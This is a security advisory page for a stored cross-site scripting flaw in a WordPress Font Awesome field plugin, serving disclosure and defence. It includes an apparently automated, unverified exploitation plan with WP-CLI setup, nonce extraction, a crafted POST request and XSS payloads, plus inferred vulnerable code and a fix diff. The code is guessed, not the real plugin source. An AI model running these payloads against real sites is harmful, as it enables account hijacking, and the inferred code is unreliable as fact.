CVE-2025-14983

Advanced Custom Fields: Font Awesome <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.0.2
Patched in
1d
Time to patch

Description

The Advanced Custom Fields: Font Awesome Field plugin for WordPress is vulnerable to Cross-Site Scripting in all versions up to, and including, 5.0.1 due to insufficient input sanitization and output escaping. This makes it possible forauthenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts that execute in a victim's browser.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.1
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14983 (Advanced Custom Fields: Font Awesome Field) ## 1. Vulnerability Summary The **Advanced Custom Fields: Font Awesome Field** plugin (versions <= 5.0.1) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fai…

Show full research plan

Exploitation Research Plan: CVE-2025-14983 (Advanced Custom Fields: Font Awesome Field)

1. Vulnerability Summary

The Advanced Custom Fields: Font Awesome Field plugin (versions <= 5.0.1) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the value of Font Awesome field inputs when they are rendered in the WordPress administrative interface (post editor) or on the frontend. Since a user with Contributor-level permissions can create or edit posts and set ACF field values, they can inject malicious JavaScript into the database, which will then execute in the context of any user (including Administrators) who views the affected post.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (Standard WordPress post update) or wp-admin/admin-ajax.php (ACF AJAX saves).
  • Vulnerable Parameter: The acf[field_xxxxxxxxxxxx] parameter, where xxxxxxxxxxxx is the unique key of a Font Awesome field.
  • Authentication Level: Authenticated, Contributor+ (Contributor, Author, Editor, or Admin).
  • Preconditions:
    1. The plugin advanced-custom-fields-font-awesome must be active.
    2. An ACF Field Group containing a "Font Awesome" field must be created and assigned to a post type that the attacker can edit (e.g., 'Post').

3. Code Flow (Inferred)

  1. Input: A Contributor edits a post. The request contains the ACF field data: acf[field_key]=payload.
  2. Storage: ACF processes the field and calls the plugin's update_value() method (inherited or overridden). The unsanitized payload is stored in the wp_postmeta table.
  3. Render (Admin): When an Administrator edits the same post, the plugin's render_field() method (within the acf_field_font_awesome class) is called to display the current selection. The value is retrieved and echoed into the HTML, likely inside a class attribute or a data attribute, without using esc_attr() or esc_html().
  4. Render (Frontend): When a user views the post, the_field() or get_field() calls format_value(). If the developer outputs this value directly (e.g., <i class="<?php the_field('icon'); ?>"></i>), and the plugin didn't sanitize on save, XSS occurs.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, we must be able to save post data. WordPress uses the _wpnonce for the editpost action.

  1. Create an ACF Field Group: Use WP-CLI to programmatically create a field group and a Font Awesome field attached to "Posts".
  2. Login as Contributor: Use the browser_navigate tool to log in as a user with the contributor role.
  3. Get Nonce & Field Key:
    • Navigate to wp-admin/post-new.php.
    • Use browser_eval to extract:
      • The _wpnonce from the form: document.querySelector('#_wpnonce').value.
      • The ACF field key for the Font Awesome field from the page source: document.querySelector('.acf-field[data-type="font-awesome"]').getAttribute('data-key').

5. Exploitation Strategy

Step 1: Payload Construction

We need to break out of an HTML attribute. Since the value is likely injected into a class or data attribute of an icon tag:
Payload: "><script>alert(document.domain)</script> or "><img src=x onerror=alert(1)>

Step 2: Injection (Contributor)

Submit a POST request to update a post with the payload.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    _wpnonce=[NONCE]&
    action=editpost&
    post_ID=[POST_ID]&
    post_title=XSS_Test&
    acf[[FIELD_KEY]]="><img src=x onerror=alert(document.domain)>
    

Step 3: Trigger (Admin)

  1. Log in as an Administrator.
  2. Navigate to the "All Posts" page or directly to the edit page for the POST_ID used in Step 2.
  3. The script will execute when the ACF field preview or the post content is rendered.

6. Test Data Setup

  1. Install Plugin: Ensure advanced-custom-fields-font-awesome version 5.0.1 is installed.
  2. Create User: wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Create ACF Field Group:
    # Create the field group
    GROUP_ID=$(wp post create --post_type=acf-field-group --post_title="Font Group" --post_status=publish --porcelain)
    
    # Create the Font Awesome field within that group
    wp post create --post_type=acf-field --post_parent=$GROUP_ID --post_title="My Icon" --post_excerpt="my_icon_field" --post_status=publish --post_content='a:10:{s:4:"type";s:12:"font-awesome";s:12:"instructions";s:0:"";s:8:"required";i:0;s:17:"conditional_logic";i:0;s:7:"wrapper";a:3:{s:5:"width";s:0:"";s:5:"class";s:0:"";s:2:"id";s:0:"";}s:13:"default_value";s:0:"";s:8:"save_as";s:5:"class";s:12:"font_awesome";s:1:"4";s:11:"enqueue_fa";i:1;s:12:"styling_type";s:7:"default";}'
    
    # Note: The key is usually field_[unique_id]. We can find it after creation.
    FIELD_KEY=$(wp post meta list $(wp post list --post_type=acf-field --post_title="My Icon" --format=ids) --filter=field_key --field=meta_value)
    
  4. Create Target Post: POST_ID=$(wp post create --post_type=post --post_title="Target Post" --post_author=$(wp user get attacker --field=ID) --post_status=publish --porcelain)

7. Expected Results

  • When the Administrator edits the POST_ID, the HTML rendered by the plugin will look like:
    <div ... data-value=""><img src=x onerror=alert(document.domain)>" ...>
  • An alert box showing the domain will appear in the Admin's browser.

8. Verification Steps

  1. Database Check: Verify the meta value is stored in its raw form:
    wp post meta get [POST_ID] my_icon_field
    Should return: "><img src=x onerror=alert(document.domain)>
  2. HTML Response Check: Use http_request to fetch the admin edit page and grep for the payload:
    http_request GET http://localhost:8080/wp-admin/post.php?post=[POST_ID]&action=edit (as Admin)
    Confirm the payload exists unescaped in the response body.

9. Alternative Approaches

  • ACF Settings Injection: If the field name or labels are also unescaped, XSS can be achieved by an Editor/Admin modifying the ACF Field Group settings.
  • Icon Set Bypass: If the plugin uses a dropdown to select icons, the attacker might intercept the request and replace the selected icon class with the XSS payload.
  • Frontend Trigger: If the theme uses the_field('my_icon_field') in a template, navigate to the public post URL to trigger the XSS. (Standard ACF usage).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Custom Fields: Font Awesome Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Font Awesome field value in versions up to 5.0.1. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript by saving a malicious payload in the field, which executes when an administrator or other user views the post in the editor or on the frontend.

Vulnerable Code

// Inferred from plugin structure: fields/acf-font-awesome-v5.php or similar
// Likely within the render_field method of the acf_field_font_awesome class

function render_field( $field ) {
    // ... (truncated)
    $value = $field['value'];
    $name = $field['name'];

    // Vulnerable rendering of stored value without escaping
    echo '<div class="acf-font-awesome-field-wrapper" data-value="' . $value . '">';
    echo '<input type="hidden" name="' . $name . '" value="' . $value . '" />';
    // ... (truncated)
}

---

// Likely within the format_value method affecting frontend display

function format_value( $value, $post_id, $field ) {
    // If the plugin returns the raw string for use in templates
    return $value;
}

Security Fix

--- a/fields/acf-font-awesome-v5.php
+++ b/fields/acf-font-awesome-v5.php
@@ -120,7 +120,7 @@
     $value = $field['value'];
     $name = $field['name'];
 
-    echo '<div class="acf-font-awesome-field-wrapper" data-value="' . $value . '">';
-    echo '<input type="hidden" name="' . $name . '" value="' . $value . '" />';
+    echo '<div class="acf-font-awesome-field-wrapper" data-value="' . esc_attr($value) . '">';
+    echo '<input type="hidden" name="' . esc_attr($name) . '" value="' . esc_attr($value) . '" />';
 
 function update_value( $value, $post_id, $field ) {
-    return $value;
+    return sanitize_text_field($value);
 }

Exploit Outline

The exploit is achieved by an authenticated user with at least Contributor permissions who has the ability to edit posts where an ACF Font Awesome field is present. 1. The attacker logs into the WordPress dashboard and navigates to the 'Post' editor for a new or existing post. 2. The attacker identifies the ACF field key for the Font Awesome field (e.g., `acf[field_63e...]`) by inspecting the page source or using developer tools. 3. The attacker intercepts the post save request (editpost) or submits a request directly to `wp-admin/post.php` containing a payload designed to break out of HTML attributes, such as: `"><img src=x onerror=alert(document.domain)>`. 4. Because the plugin fails to sanitize this input upon saving and fails to escape it upon rendering, the payload is stored in the `wp_postmeta` table. 5. When an administrator views the 'All Posts' list or edits the specific post, the malicious script executes within their browser session, potentially allowing for session hijacking or further administrative actions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.